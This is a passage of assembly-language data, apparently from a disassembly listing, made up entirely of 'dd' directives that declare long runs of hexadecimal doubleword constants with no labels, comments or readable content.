0B41FD51Fh, 27B8E20Eh, 80BF87FAh dd 0B78DD4E7h, 0C3E4E9EDh, 90E10E3Dh, 85E6F5C2h, 930928AEh dd 80DBF1B7h, 92D9F65Dh, 0DAFB3026h, 7999EC40h, 0C8F86200h dd 0DF3DBB8Bh, 2FC5038Ah, 51106C6Eh, 402679B8h, 899204A0h dd 86D680C7h, 0A7C41BC0h, 1833735Ah, 79EFB779h, 9FF1D6F6h dd 0E81BB571h, 153DA318h, 8E6B6E0h, 0EDB18D0Ch, 0EE146918h dd 603850D3h, 646C7080h, 86D506F9h, 88D9F0B1h, 1E882126h dd 567B5306h, 8EC60FE8h, 79801251h, 0B593408Dh, 0A0A540CAh dd 0AACEFC00h, 880C65h, 0C639265Ch, 0D6101D6Fh, 16B38A0Ch dd 0E8ABE1BAh, 6DFC0075h, 0DAEE566Ch, 92A57B6h, 0B2403CC4h dd 0F6BE01B4h, 405CB0E3h, 3B31C8Ah, 0BAE9B1A1h, 204262C4h dd 0B80C093Ch, 950C0F90h, 446C93Ch, 1D23DCA4h, 3A189CB1h dd 0AB82E445h, 519EDCACh, 0AE2DF8h, 460C804h, 0AC0BB755h dd 0ABF91402h, 0BC341057h, 21774121h, 90C4318Ch, 4781C748h dd 21C6A3AAh, 4CA424B8h, 0D3896894h, 32005C5Dh, 0DA12EB58h dd 0D2A0C804h, 4570014Bh, 0E124C03h, 45B5702Ch, 0E958908Ah dd 62B4B992h, 57154E60h, 0AB825010h, 52317545h, 0A3B29474h dd 0F3582168h, 0C843B017h, 2E9ADA9Bh, 0CFCBAD1h, 5F58172Ah dd 88E1044Ah, 0C821940Eh dd 4C0381C1h, 71E7C80Fh, 0DDC81A26h, 8A0A3871h, 0FC620C69h dd 0F74F0274h, 0D968CE8h, 64710725h, 0F8DC9084h, 0F8C95C19h dd 219720DEh, 0C404D380h, 981C013Bh, 648B6608h, 0FB887A68h dd 52062E04h, 0A40B8C5Ch, 270F1E28h, 0E9D58C25h, 14C45918h dd 6589405Fh, 68200C64h, 0D6E53972h, 955005DFh, 15AC5EEFh dd 7D7F240Ch, 0C16580Dh, 1698D52Ah, 0A049FCEDh, 9C0F93BCh dd 0E513EEC3h, 0B0569BF4h, 815E610Ch, 0C1263EDBh, 37EF5C92h dd 64448A04h, 2AE7226Ah, 2AD951DCh, 84C1F894h, 4F105561h dd 239F91E6h, 50D806ACh, 0D99F0441h, 0CE81891h, 0E0438697h dd 0F0918721h, 8C911C50h, 82480749h, 4698D5Eh, 885C876Bh dd 4699930Eh, 4640868Fh, 4E6809EFh, 823C1216h, 0F19249Ch dd 0B212490Fh, 9EE0680h, 0F96E76h, 1E9C41Ch, 0EC9D3922h dd 31525302h, 0A06EEE50h, 77C6B980h, 0D998001Fh, 6BE81DE9h dd 18C5CAFDh, 0B0C0CD92h, 602C585h, 0B132DD6Ah, 46003867h dd 3B31DE06h, 9DA02948h, 0A72F2410h, 3D072E00h, 275470CDh dd 0E3C30039h, 0C01F58F7h, 5600DEB4h, 50DD23C1h, 53EA2BAh dd 400C937Ah, 0E96CC0CBh, 5E4CCEE5h, 40414BE5h, 3ED932C7h dd 504D0h, 643D08E9h, 0D645942Dh, 0C6727B00h, 3F99B884h dd 11E70025h, 6E46DD49h, 7A00A5E9h, 0EEFA4EB1h, 1365CA43h dd 0E047F8EBh, 0B9CC2B40h, 2D3B2059h, 0A8EB7561h, 162B3CD8h dd 1F40FE00h, 91492F24h, 81F70388h, 93E21D8Dh, 101EB380h dd 28BF49h, 0EB7BD535h, 19D262Fh, 0A532C047h, 0D8B1B9C8h dd 63391BC5h, 12C98038h, 0C6F27A61h, 0A0DE1CAAh, 0CFF0F20h dd 94A976A0h, 880AD91Ch, 18373B92h, 1042E900h, 0BBE840h dd 0FD04C233h, 0B0CF91E4h, 6380B00h, 0ECBE7FFEh, 2A3D00EDh dd 209A6AC5h, 0E00CC8D2h, 48936B38h, 152EA0Ch, 355FF489h dd 984FED6Dh, 2A690508h, 36520363h, 22E96DDh, 0DF821CF0h dd 2500C174h, 5936651h, 484CEB56h, 8F0035A5h, 5924BD12h dd 0AC3DD7E2h, 50A8584Bh, 0C901E96Ch, 0F15F2296h, 1AE0252Ch dd 0F8B078Fh, 0B99260E3h, 6C207E0Ch, 91267F05h, 203840DAh dd 0FA4616h, 7D6F3D91h, 60539311h, 0B36CC092h, 0E27B1FE8h dd 678CE606h, 6008D648h, 0DF5521A7h, 0BF00961Fh, 0BBFC6ECEh dd 5D2ECA5h, 21E5F505h, 6F9C065Dh, 9410F946h, 1B0A4F41h dd 8C9417EDh, 5B518E75h, 2DFB5100h, 54C07398h, 18116009h dd 0C8C75948h, 0E408E1EAh, 18F05Fh, 3455ED93h, 80E82EAh dd 4038A247h, 6B53FFC5h, 95960A6Ch, 1ED86A14h, 795E4ABBh dd 81103090h, 0EB38D3DEh, 16B51DD5h, 5D0828D9h, 0D6AC2180h dd 0C1E01BD3h, 0D830F42Ah, 9749EAF0h, 0A2085300h, 53BC3018h dd 5F19660h, 1A77D4h, 0EEC889B7h, 53AB5EEAh, 25881800h dd 3A7449C6h, 1E6D12B2h, 752C21EDh, 63418F9Fh, 2E003F89h dd 9E2FF38Dh, 0CDDA1E7Eh, 0FD2ADD41h, 0B1ED3401h, 8762E9F0h dd 0DD60F8D8h, 0A0430F85h, 0D0AA8632h, 1907A49Ch, 8AC9195h dd 0D1218127h, 8053AA8Dh, 65F5D4h, 6EE18A0Fh, 0BC432D94h dd 9850792Ah, 0DCBAA700h, 2369B6E0h, 5FAB006Dh, 4DC1E8F9h dd 7700D340h, 594717Eh, 129D2C02h, 1054C7D1h, 0E523A448h dd 94526E01h, 211877F4h, 0E662988h, 0BEACA452h, 3BCB4160h dd 1614C14Dh, 87F09498h, 0F42056E1h, 3872E6h, 66C4BEE2h dd 0B520D635h, 40E4E4A3h, 0DDEE62CCh, 0FB9005Ah, 0F529CA94h dd 71D43933h, 69607B24h, 0D0ECBF59h, 0C80B0A77h, 0BE943511h dd 1AB5EF00h, 0D052E056h, 0D7C53807h, 6C5411DDh, 0AB88AC8Eh dd 0B0AA0BC1h, 5497C6FCh, 5C12E099h, 1533BEDBh, 0CAB15779h dd 0EB35EDF0h, 0D149B100h, 0C1036981h, 0C66F0718h, 9DE3F56Ah dd 8F9191F1h, 0DE1FEC83h, 228D06D9h, 0E351C3F4h, 26CEB81Fh dd 0A290799h, 0F2EC3F6Dh, 0E0846B56h, 526760E4h, 7FF42385h dd 26002311h, 630C525Fh, 840160CCh, 582EEC8Eh, 6CC496ACh dd 72E7806Dh, 70321401h, 9C117ACCh, 3DEB5848h, 0EA3DF1Fh dd 4E00AB11h, 84DB1FE6h, 8E1D02FFh, 0FB41CD1Ch, 1D391498h dd 5258980h, 0FE4280F0h, 0F7868400h, 0AC3C8A7h, 2E7605A5h dd 4017FB67h, 0D0C4C2B4h, 0EF003868h, 72B3A379h, 0DF1FF0FFh dd 2FCB8021h, 0DB0B666Fh, 0E8001EF0h, 7FDD1CEh, 15AB2C9h dd 0EB69B3A2h, 9FC8C386h, 0B88040A9h, 2291CD30h, 12D6F4A5h dd 1DEE7EA8h, 8701A3D4h, 0BC9C69AAh, 0D4882618h, 2EAA008Eh dd 0B4E0D7E3h, 0EB30D822h, 0C496694Bh, 6409E8A0h, 5F43185Bh dd 20E88FC9h, 0C3DF632Ch, 0E8225052h, 627C8CE1h, 57F48810h dd 525A2DE0h, 534AC600h, 484E498Dh, 0BCD0B1B8h, 31C05B80h dd 71C4D26Fh, 9CC25E00h, 4EE95CF4h, 484F0F10h, 942C6369h dd 0AC07199h, 0BDE759ABh, 199C6054h, 6F5DFB9Bh, 1E002E7Ch dd 0BF20FC9Fh, 0EA97AC70h, 0B01B59C6h, 0A44211F8h, 105A0E23h dd 8CFA2D20h, 0DB56F772h, 0AA8802E8h, 31949C6Ah, 8FCF1023h dd 379A00AAh, 0F949C4AEh, 9048CB3Ch, 3DA230Ch, 9C6DAA8Bh dd 202D628Ch, 5EAA92D0h, 0EB85F500h, 0BF144AFFh, 356B1576h dd 0FD3EF073h, 1077F980h, 0D8CE5EEDh, 3A2F4300h, 8ECB46C6h dd 79D312F2h, 114404Fh, 311D1AAEh, 37B0F2A0h, 0D96AE300h dd 0CB4DAF08h, 931C04C2h, 89532297h, 497E2C8h, 2057790Bh dd 67F2C1D8h, 538D2835h, 2170E310h, 161CB256h, 16D2CDh dd 338BF188h, 0F47D737Fh, 2E487467h, 0C08C0680h, 1AD233CCh dd 3EC40128h, 38615046h, 800B751Fh, 56C51A21h, 0C14A426h dd 829346DEh, 1C99F018h, 41457A0Ch, 20A648DEh, 0C5CA1861h dd 64398652h, 0C1F0E6h, 6F093296h, 0CC236AB5h, 8F522901h dd 8B5A1CC5h, 56E09DE9h, 91A061E8h, 57E7E263h, 14F38198h dd 7440EE11h, 722C4894h, 761974EAh, 442033E0h, 1C68E8E9h dd 0F1384FAFh, 0C407DC19h, 0A6F0738Dh, 993A1500h, 0C86E9114h dd 7D8C07DEh, 1220926Bh, 58409A64h, 0D50DF49Dh, 8F50CE4h dd 5BEE7FCh, 6036DBEFh, 0ED9CC272h, 4C3148C2h, 6BA02054h dd 82A8E78h, 4A44E0D3h, 48E16062h, 6B3F92DAh, 63679D06h dd 2AF1CBE8h, 9AC104Ah, 8E6DE997h, 0ABE60400h, 6F100818h dd 6048414h, 0A1D1EC54h, 0F3E00878h, 59745C98h, 51492B78h dd 33C83ADCh, 0C0AB21A3h, 0C09D7548h, 0C195CE71h, 1478A36Dh dd 890B4CB2h, 831707E2h, 6AFF08Ch, 3EE0F371h, 3D44F8C9h dd 2E872C3h, 1138F66Ah, 18C66DEEh, 0B4DABE00h, 0AA714F95h dd 0F9570DD8h, 8040E573h, 9B326169h, 54E95659h, 3C9A90F4h dd 0EC306360h, 91522811h, 0FCDFF226h, 3F92021Dh, 30205013h dd 1273923Dh, 2195966Bh, 24E19374h, 5904DB9Ch, 0C2AB6FE3h dd 3C1CB583h, 6A0090B9h, 4F485B0Dh, 4E0EE2F3h, 0A1B4D946h dd 0D072955Fh, 88542C20h, 0EC3FD2F3h, 0F2D38085h, 483E8DE7h dd 0C8BB0AADh, 80C04D79h, 38D43A05h, 0DA0B5D22h, 0B5A57B8h dd 9BB8A2F8h, 47EA0371h, 0E1885945h, 0CD11805Fh, 64E4F4D3h dd 2916733Bh, 89D4B0E8h, 0A80629EFh, 60AC515Eh, 0FB951618h dd 0BE9E221h, 664FD536h, 170C0C88h, 4496E8D6h, 0E9269DD0h dd 5F0363B9h, 0D84953F3h, 4D50417h, 0BB1495C7h, 61F0C4A9h dd 0E5D84D14h, 95304142h, 0D0F00924h, 0F018C340h, 68016093h dd 7358D7E0h, 1ACCB29Ah, 0C4651708h, 94870345h, 910713F0h dd 8F3C5F12h, 0CC261870h dd 0EA631283h, 0E70422F8h, 28176862h, 145D4284h, 0E461013Ah dd 97EC3A8Fh, 64D85982h, 0C0A0A275h, 6E844E37h, 0CC400F4Bh dd 0A438C916h, 0AD072640h, 229612ACh, 0E718491Ch, 6ADD0985h dd 1183574Fh, 23ED7395h, 51CA8098h, 44CBA4A5h, 212C200Ch dd 3C0834E3h, 0BE311E41h, 36823032h, 0F852C903h, 305E1E00h dd 0EA8A8CB5h, 0DC43FFD5h, 2C04D590h, 0FC87E56Bh, 421A74C2h dd 790AFBDh, 218F7172h, 309D107Fh, 14B881A5h, 0E08A6FEDh dd 4E993460h, 288002D0h, 0C8482C7Ch, 8504F4BEh, 0A3AE1D8Dh dd 92FAACC0h, 68212CE0h, 50E904ECh, 4430905Bh, 3C909882h dd 1C155101h, 69B29C6Fh, 44034461h, 0BD511DBFh, 317ED8F2h dd 9918E44Fh, 10A02668h, 675D33A5h, 0D4E1D6E0h, 6188322h dd 0CF1C2996h, 3CC31FC4h, 6218002Fh, 3A3408F9h, 0B934338Eh dd 94064920h, 0FE304172h, 3510785Ch, 8103D15h, 18B3F1B4h dd 970A6E5h, 0B6F06C38h, 0C879A860h, 0B9064C96h, 0E85D86h dd 34442675h, 97CA7B7Fh, 0D979C0C0h, 288C0E36h, 0FB1410B8h dd 0A4448108h, 5CF884DDh, 80437E88h, 0AB0098C7h, 89EE8F9Ah dd 1E07C594h, 2E96E5A3h, 0AB70133h, 0F00EE866h, 0B000C756h dd 52E789C6h, 0FE25096h, 0FA84B7A7h, 0A1D39860h, 7900E6F9h dd 6FC17A5Eh, 16DFD4h, 89C52494h, 98E8618Bh, 4100BE7Eh dd 71E03AB1h, 0ACC45Dh, 0D124F9C8h, 0AFB5E3F6h, 0C0A07C00h dd 3C21452Dh, 0ED780699h, 308C1703h, 0A568300h, 2438D125h dd 0FCAF00A8h, 500522E1h, 1300B3D5h, 0A3DB740Dh, 38F6AC08h dd 83007746h, 35EC637Ch, 2600B3D9h, 2AC61D62h, 9847C8h dd 112780EBh, 77099221h, 0D4B29407h, 43F0A61Fh, 0F02CA4h dd 48E60DADh, 0FE3190D0h, 0A3CF3Eh, 0F29C54AAh, 4CD5B3Ah dd 0EE7C0B52h, 9784A01Bh, 0AFA40700h, 8FC443A5h, 1A114C05h dd 0BA00A63Ch, 0EE220C01h, 0F073EADh, 27BBF98Ah, 1C9AD200h dd 0F4EA0029h, 934CCB32h, 0EF3F640Fh, 0E8360035h, 38FFA5F7h dd 27A80740h, 0F51C59h, 17BEFDDDh, 0BFB55600h, 6602AB8Eh dd 1DF20230h, 20453331h, 477ECEC0h, 3AD6CE0Eh, 92530054h dd 0F628905h, 0BF677BAFh, 8A815C00h, 0A005407h, 13D4EDFEh dd 1440414h, 0F90135EBh, 348A746Fh, 0D90ABE28h, 0D0594BC2h dd 0DFBB6700h, 2156A5h, 0B355FCA0h, 700974B7h, 0F0B86A28h dd 72064A00h, 0BCC9A758h, 19ED60FDh, 2AA16617h, 83037600h dd 0A8B43EA3h, 0C58C07Bh, 77EF3A56h, 915CD501h, 952011F8h dd 0F3C3EF0h, 0EE652BBCh, 0DBD1E980h, 3703CBC8h, 5C3DBA2Ah dd 0D9610786h, 0F13ED2D3h, 0F51AC622h, 0B7A0CC43h, 40DA21CEh dd 88015FF0h, 0FAA124BBh, 0ABDC004Ch, 0ADDE57E0h, 39B34600h dd 582BED35h, 998F06EFh, 4092371Eh, 1CFB5A00h, 89E35DAh dd 0B33E3B8Ah, 0CB8EB580h, 67183692h, 0D8A44C01h, 87440830h dd 312643Ch, 0B1C6001Ch, 920BB837h, 9E9B240Fh, 0D8E00B2h dd 0F21608h, 3E046AD9h, 74E3D71Bh, 0F90035E2h, 0DECF8E3Dh dd 4326B6Fh, 614BA80Ch, 0D91490ADh, 0F841D24h, 31E1D14Ch dd 1B3DA600h, 0FF007F67h, 22CFDDCh, 0FC45E9Dh, 8169ADB2h dd 6F9F0840h, 9398699h, 12F50F19h, 0B57A037h, 3898546Ch dd 1700C00Ah, 2B6A9D41h, 4F00905Dh, 325A8B7Dh, 20ABE155h dd 690395F4h, 0FFF2F74h, 6DB10782h, 800E0234h, 5E65DF4Dh dd 860D291Fh, 0C0EB390Eh, 1D942012h, 0AE37033Bh, 9289493Fh dd 0F8BCEAD1h, 412E7A57h, 1C009306h, 0D5823ADFh, 23440090h dd 0D678F5EDh, 96E43042h, 43CED900h, 226FF7BFh, 59C94A8h dd 40AD0F78h, 0FA390580h, 1D00804Dh, 0AC62ED0h, 5F56427Bh dd 0F660B0A3h, 0C75A9500h, 0CC8B4AA9h, 571003C8h, 0E61C2D4Eh dd 5C33A880h, 0A6D95A1Ch, 3A1D2902h, 652040B7h, 0B317E6Ch dd 8A964E97h, 82038B00h, 0CB028C2Ch, 505D9BBDh, 0BA13C02Eh dd 0EC742E3Ah, 6ED8E88h, 540FF820h, 0EE001332h, 0A05D1EF1h dd 576A0Ah, 0F62C7A24h, 525311Ah, 0C7350E00h, 426DA422h dd 9B1802C8h, 1EC96878h, 0A379A450h, 5AA45C07h, 0E11FBBCAh dd 69A55BECh, 0B9B5E0h, 97C7FD72h, 0E203CDD1h, 0A607F698h dd 0BDBC81FCh, 91989560h, 0B77800EDh, 0FE2B5340h, 0F4EF6BB8h dd 72009FA0h, 42985504h, 26544D89h, 80DCC722h, 0E75BD29Eh dd 0EF00E01Ah, 76FF131Ch, 0F0934Bh, 0C95382C2h, 81F3B439h dd 0C600FC75h, 0DA159608h, 7CF0F621h, 0E2460905h, 0C0203FF4h dd 529BE0AFh, 15C9E48h, 55EF9672h, 0DED02ADAh, 0D6AB07B1h dd 0F04AC6C7h, 0DCD1ECAh, 80F3253Ah, 271FE6A7h, 23599D1h dd 0B42E418h, 2CC0232Ch, 0D30E4BDEh, 60A8CEAAh, 394D6E7Fh dd 8F4000CFh, 0ECEF9BE3h, 250F3F75h, 0A196EAC4h, 0C2F553A8h dd 46C7E4h, 0A7B48736h, 0C0BD4F05h, 0C8AE1B1Dh, 0E32B14h dd 0D4648B2Eh, 24FAD7C4h, 419BCFh, 5813254Fh, 12055FD2h dd 2A6E8F4h, 95C014h, 1CCDEC53h, 61455Bh, 0AA27C0B0h, 151271D9h dd 0E7947E0h, 0E1AC9D00h, 756DABAEh, 80690F30h, 5D6FFAE2h dd 86840640h, 1E015792h, 0DD61A115h, 828EA69h, 58976F00h dd 76858670h, 0E874CA00h, 0C655A157h, 7EC512B1h, 0FD0600E9h dd 4EE5FFC9h, 38A28A38h, 0DB07186Eh, 131DA4Eh, 928DFC45h dd 21BA42D8h, 440CF40Ch, 0CD940E50h, 0DE64C700h, 4E6CE7A2h dd 0F487501Fh, 0AADB0098h, 4C756A69h, 9D2C0F92h, 0D80AB383h dd 22059CA0h, 0F4004DFFh, 11CC2A96h, 3AE80126h, 0A763732h dd 804ED9D1h, 154A5920h, 1DE47A17h, 44F82430h, 0A008F642h dd 93132178h, 0D800B4D5h, 3ACFBE0Eh, 0DFFC0140h, 944B119Fh dd 2F582057h, 9C01C679h, 8B716BFBh, 5AF1C179h, 69749850h dd 9028904Fh, 344000A9h, 80313C2Dh, 0F80F9ED6h, 0E24E7D15h dd 5A2E2F7Eh, 9C370034h, 29B0F2E5h, 9200C57Fh, 0AC633471h dd 2A0BBCCh, 58266B05h, 0C8E091ABh, 0DA03740Ch, 888DA2C4h dd 0DBACD8B1h, 87A601C1h, 9E0AC386h, 9C0760D8h, 5349DE0Ch dd 3AE0A16Bh, 74808F4Fh, 0D5E26D07h, 52F5484Bh, 54005310h dd 39C6D08h, 4171077Ch, 99D96BC3h, 7EE3F264h, 8FA63EA0h dd 486D3617h, 0BDAACD00h, 0E9E5B91Bh, 0AF95A841h, 0E868DEFCh dd 0E9E9C016h, 9A03F490h, 1A739D1Fh, 0CFEA8D07h, 0AF70D841h dd 944C908Ah, 6D150C18h, 48C1EC99h, 0B53833EEh, 0A8DFDCh dd 3D51798Fh, 0F3428C0Eh, 31ED4812h, 0E532CC00h, 0D71DC9h dd 225963E8h, 97D46B5Fh, 58750D12h, 7398A0h, 0B507BC9Ah dd 1C3FAF0Fh, 138D0E1Dh, 0AADD6402h, 71D0A00Bh, 0E465969Ah dd 0EB1538C3h, 0E864177Ch, 0CA7447A1h, 166FF108h, 8FB98025h dd 0D01C143Ah, 5DF33E64h, 0BAAC7804h, 5A4A88Ah, 9BA9BE2Eh dd 0BBAAB800h, 4EE963D9h, 0F02C06D6h, 6000879h, 908066C9h dd 0EF0C3812h, 0CFD146Ch, 0AB4BF004h, 42CF2848h, 7E225890h dd 92E62241h, 223BC122h, 7225627Dh, 9CFB1404h, 46898548h dd 0FD0CA0D0h, 0F6CA24Fh, 6DBAB4E1h, 56A08900h, 0F5E2ABE2h dd 0D03B7F8h, 0E89AF167h, 2A1F845h, 9304167Ah, 444600D9h dd 0BCCA3F57h, 0E9001898h, 272ABB4h, 1F1530h, 0C1076162h dd 0B3431BFDh, 5E4CDC90h, 7FB90164h, 554A140Eh, 3AFC1880h dd 32F878DAh, 43D26E05h, 0DCE09E12h, 1C11EE27h, 669576D7h dd 3A154000h, 78389F46h, 0D2FB80C3h, 4DA22155h, 1CA037Fh dd 0F7C72A5Fh dd 0D70CC0D4h, 3000DD32h, 0EE4E59D0h, 10A6A1Dh, 0AA31A876h dd 683CB3F4h, 783203B0h, 0CFBE85BBh, 21E67F70h, 3C18996Ah dd 4BA4869Ch, 64ACBD6Bh, 2EB01B19h, 8C0F4CE2h, 20037098h dd 87D7E67Eh, 541E07CBh, 0F73A5D96h, 0C06654CFh, 425125FBh dd 78EE591Ch, 318048F7h, 6E0458h, 144AE27Eh, 0D8C44664h dd 0B12F0201h, 0EFCBA027h, 7CA2074h, 981AF46Ch, 0E8925095h dd 0A51EC219h, 0B4C0F58Ah, 334B710Dh, 348601E9h, 5EEE6255h dd 9778D4E1h, 0E7FE2D00h, 4C717DD7h, 41A439C4h, 8EB5318Fh dd 78C5C843h, 9C7C2CA8h, 0F0286E60h, 12B1EB8h, 0CF4D1B72h dd 40EBF9D3h, 6183E7E4h, 705458h, 64D675DDh, 805082h, 0AFBD17EEh dd 0CDE97124h, 88744505h, 287B29Bh, 889D7063h, 2DCC8C3Dh dd 0F800FD7Dh, 46D06CD3h, 0B3C33001h, 0F2F55562h, 0D81EFC55h dd 0FFE7DE80h, 0EAA3A7h, 6EF9F87Dh, 5543696Ch, 5F56FCA0h dd 172D2800h, 37AD09E1h, 92DEFE66h, 0C8E07Ch, 0C07784EBh dd 387CDCA7h, 70EDA500h, 32585AA9h, 0D0161799h, 0E9E4C018h dd 7E38B0F4h, 5D51008Eh, 81B1EDEFh, 0CFE08Dh, 0AADFE560h dd 0BAEB058Ch, 90A96C00h, 0BD9E13A0h, 0C03B0FB7h, 0A1070993h dd 0D6917068h, 6013DFBh, 5E9C9BD3h, 6C28E82Ch, 0AA401700h dd 0F4165729h, 79000C9Ch, 0AFEAA943h, 0B1DC03C2h, 0E7EE5F24h dd 0C990D1A0h, 408C8A51h, 0FDDCE23Eh, 2EE3061Dh, 0BA9BD003h dd 0E0287CE8h, 3CAF008Bh, 0EA793E7Dh, 0DD0B3142h, 0D3340Bh dd 178F85F0h, 4C150029h, 58195637h, 0BE005901h, 0FCC9882Bh dd 19C3882h, 0ECEB922Fh, 0C4536964h, 1C1FA6C6h, 0E3004067h dd 0DE5038FAh, 3D66F49Ah, 0C88FFE34h, 4F2CB9Ch, 0B0F9043Fh dd 7707679Ch, 73787F53h, 0B0585F13h, 0F0758246h, 5E511C69h dd 0D7D8154h, 30A95A61h, 0C0014F30h, 98B8AC8Ah, 0D0F3C264h dd 339F83h, 0E61C885h, 7035F7E8h, 6C665326h, 623D0281h dd 20259FB6h, 4A3CE0h, 0F4B1BF60h, 28B5363Eh, 660165ECh dd 0E75AD2A0h, 88F80AB3h, 6C73005Fh, 0CAC6827Ch, 0B700644Dh dd 8A2A063h, 0EC030159h, 65C238ACh, 1F771EFAh, 0EE7E09A6h dd 82688B81h, 0F4B4D939h, 0BF00B554h, 0CFA37AFEh, 0E301F7Dh dd 0EEA595DDh, 548E91E0h, 90255CF9h, 40D80FF0h, 0B599E3A4h dd 137100AFh, 0DF857C56h, 0AA00AB65h, 819398CCh, 406286h dd 9B344642h, 0F930573Bh, 1C442C1Dh, 37E7D680h, 73632Fh dd 0C4F0B4B6h, 0D8F1A53Fh, 0C0ADE500h, 879095C9h, 6FEA0004h dd 5E2A1AFDh, 6C3B9362h, 0E0788141h, 0C5257516h, 79FB8ED0h dd 0EAD600D9h, 0D5996612h, 13000719h, 0EF92BB20h, 238276h dd 5E52BE7Bh, 7F750B5Ah, 0E0369E07h, 7285F7E4h, 8011821Bh dd 0A57E9h, 3341EACDh, 3A7AE4Ah, 71CDA03h, 0C8CAB2D4h dd 9DFC6Eh, 70B43378h, 0B7C3AFA0h, 0E5C96C00h, 0ABCEFACFh dd 6A741CACh, 6EF88036h, 0EED449F3h, 0C21CA172h, 0DC40A92Ch dd 0BB43DFCEh, 45F00CFh, 710BFE4Dh, 2600E667h, 6A05483Fh dd 11FF098h, 40FFDC06h, 64213BD7h, 1C0031D0h, 0AA2F6668h dd 9829A8DDh, 28535CFCh, 2862C980h, 0C4035E9Fh, 1B194BFDh dd 0CADA80BCh, 0BD23043Bh, 0E4A3A0EDh, 8B24F004h, 0F30134B2h dd 0EFD037CBh, 1D11EAF4h, 4751BA4h, 0AAF96C4Dh, 0ACA3E4C0h dd 0FBDC0124h, 8944BE1Fh, 59852BB0h, 0BF1C93h, 0B567625Ch dd 527D7CC1h, 4EAED91Eh, 6F7ACB00h, 1B1E051h, 0FE6DAFE6h dd 0E6619D88h, 0FA48F4C0h, 3C8FBF00h, 0BB09F33h, 0FEE10059h dd 997A5E83h, 674C8C77h, 0B45FC0C8h, 13DFEAE7h, 580BF4h dd 22AE20B8h, 0E500FCA0h, 0C1250C24h, 0F1A4F9h, 9A642B29h dd 0DC74E6D4h, 0FB916900h, 7A169822h, 3B4118EBh, 96D2E0ADh dd 0A7DFB810h, 12457026h, 0CF048162h, 7E852F30h, 4B2D7500h dd 78DE0B1Fh, 2B2E01DFh, 0E10E2245h, 0F3ED077h, 0F44EF900h dd 0D91BDA70h, 3F2E004Ah, 20D1830Bh, 6F19095Ch, 49E0786Dh dd 1EDE2160h, 1C089516h, 0B4F5D388h, 6300F24Ch, 0DF091BCEh dd 3CB75Ch, 0DD882083h, 0D7E8BF6Bh, 8700FD7Dh, 3AEB44E5h dd 4E984D49h, 867C40D9h, 272E9D47h, 3AF5ED00h, 37924E87h dd 4CB019h, 90D64A06h, 0BE72544h, 0D4813C00h, 0E564AE99h dd 94EC7791h, 418F80B4h, 8B3E0E68h, 9C58DF07h, 0A9BD6940h dd 0E7CD7ACDh, 3A9536E0h, 9A3AB7F4h, 29911275h, 0EB308068h dd 0EC0016FCh, 0D5EEB510h, 4AFAAF70h, 0E8F48467h, 0D0007828h dd 87F427E5h, 91EA76h, 94BE4A2Fh, 9502EC67h, 0A793D3Dh dd 0EDE31199h, 4A080939h, 8F506856h, 7A78FCD9h, 31AD81D5h dd 63299EE9h, 0D4ED420Fh, 2291146Ch, 9FE71950h, 211AF2C0h dd 7C3580D4h, 4B338DBDh, 3ECA9A00h, 6014A3D8h, 5A1A0FA9h dd 38782B38h, 4A0089F2h, 53CDE9Bh, 1E21035Bh, 0C0B70E81h dd 0BFC066BCh, 0B5FC771Dh, 6C547E00h, 0DA29E1E4h, 7C79A3h dd 606D7507h, 1DDCD52Dh, 7B1ECFE4h, 0BE582252h, 24A630h dd 62BC4FA5h, 2BB7052Fh, 0F57D570Fh, 5921A068h, 3130E11h dd 1F1A3EEFh, 0C0F835E3h, 5200AB2Eh, 0C2F1B657h, 3C8674Fh dd 35F4C645h, 4BB03D10h, 63050E1Ah, 3F18FE78h, 0F0116AC0h dd 0AFBF0027h, 4554B7E3h, 7CF0F3A6h, 75C46700h, 422804DAh dd 3D4C746Ch, 78001E14h, 1248392Ch, 0BE07279Ch, 0B0BC2FF0h dd 50B26024h, 0F2F4A5E4h, 13D60497h, 2686B36h, 0EAFAD468h dd 9C00A056h, 0FB068075h, 60E2484Eh, 0B0E83609h, 32D46C03h dd 82229B6h, 0E3E42276h, 22B1FC22h, 0F450ED67h, 0E0457628h dd 951482D2h, 84D02FECh, 3444DE09h, 0F02D44B2h, 5F784C44h dd 3821CA11h, 0BDF62A08h, 0C7201142h, 5C080C21h, 642494FAh dd 28CFD711h, 0C8107870h, 10215001h, 88FCC208h, 3894BB84h dd 3C7C2814h, 93A07A00h, 6B31D24Bh, 0A5C400D0h, 13E85EF8h dd 1103F7AAh, 9165C019h, 3D2921A1h, 915B3E08h, 0A0C6000Bh dd 0D4B86775h, 58870355h, 0B96482A9h, 52985FC3h, 9D3E8BB6h dd 0B16F0021h, 0C999C0A2h, 0D0AD00C5h, 0AEC76BE1h, 0A801CAFEh dd 6628A735h, 42CCDFE6h, 1FF23A9Ah, 0EA5BCC05h, 0D2508045h dd 5300DB18h, 0A4C37019h, 77B14B50h, 0F30D000Bh, 221A6163h dd 0EF004CD8h, 5CD152ECh, 98E41E4Fh, 0B97E0042h, 54A73840h dd 0F700A196h, 1D7D500Ah, 0D9CF26h, 97290216h, 5DCCA707h dd 5E79907h, 32F06882h, 0C580B9h, 0C244B536h, 668D7533h dd 0C0625E00h, 11965B6Dh, 0F949C31Dh, 9CD06C29h, 4E006EE8h dd 4C72D24h, 0EED53F59h, 0DF9071Ch, 0A025A583h, 0A22681A1h dd 80B03E60h, 0CE0A19h, 0FE6C95BFh, 0AC627925h, 0BC09967h dd 0FDE9A843h, 6518BC3h, 0F7FA54A0h, 40360418h, 61C8D5h dd 469507DBh, 0E8B6A37Dh, 4E696003h, 0F813EF62h, 3CBC96B3h dd 5B03983Dh, 0D829C682h, 0F9EB9EE8h, 942E4902h, 802238E7h dd 92841495h, 3DDE7579h, 8C80A07Bh, 0E559E49Bh, 231DBFEAh dd 0CD80B584h, 0D6991B0Eh, 0B2670061h, 36B395B4h, 0EC00C03Dh dd 3C4A760Fh, 0BE29963h, 4F38E06h, 0BD60D100h, 0C700B40Eh dd 2FF56C4Bh, 4FCBE1h, 637FCA89h, 965ABCBAh, 7642D501h dd 3373B830h, 0AB4BE887h, 95E06E58h, 0BA51487Ah, 2C28231Eh dd 7B5B4000h, 7C352EB9h, 4F5E00B4h, 6E2A0607h, 5500E660h dd 1923C64h, 0F35D8Bh, 0A59CFCD0h, 812C3B1Dh, 75513400h dd 8F870453h dd 0C9E3007Eh, 3260F20Dh, 151DBC16h, 0B1C3CE9Ah, 5F0AA9h dd 1D74DE40h, 37C16514h, 0D01E60Ah, 2800A898h, 721AE232h dd 669886h, 0BE9A4D70h, 0AD83676Ah, 0F4F8962Ah, 75A9ED00h dd 0D3702F8Ch, 0E1D90034h, 0C9593972h, 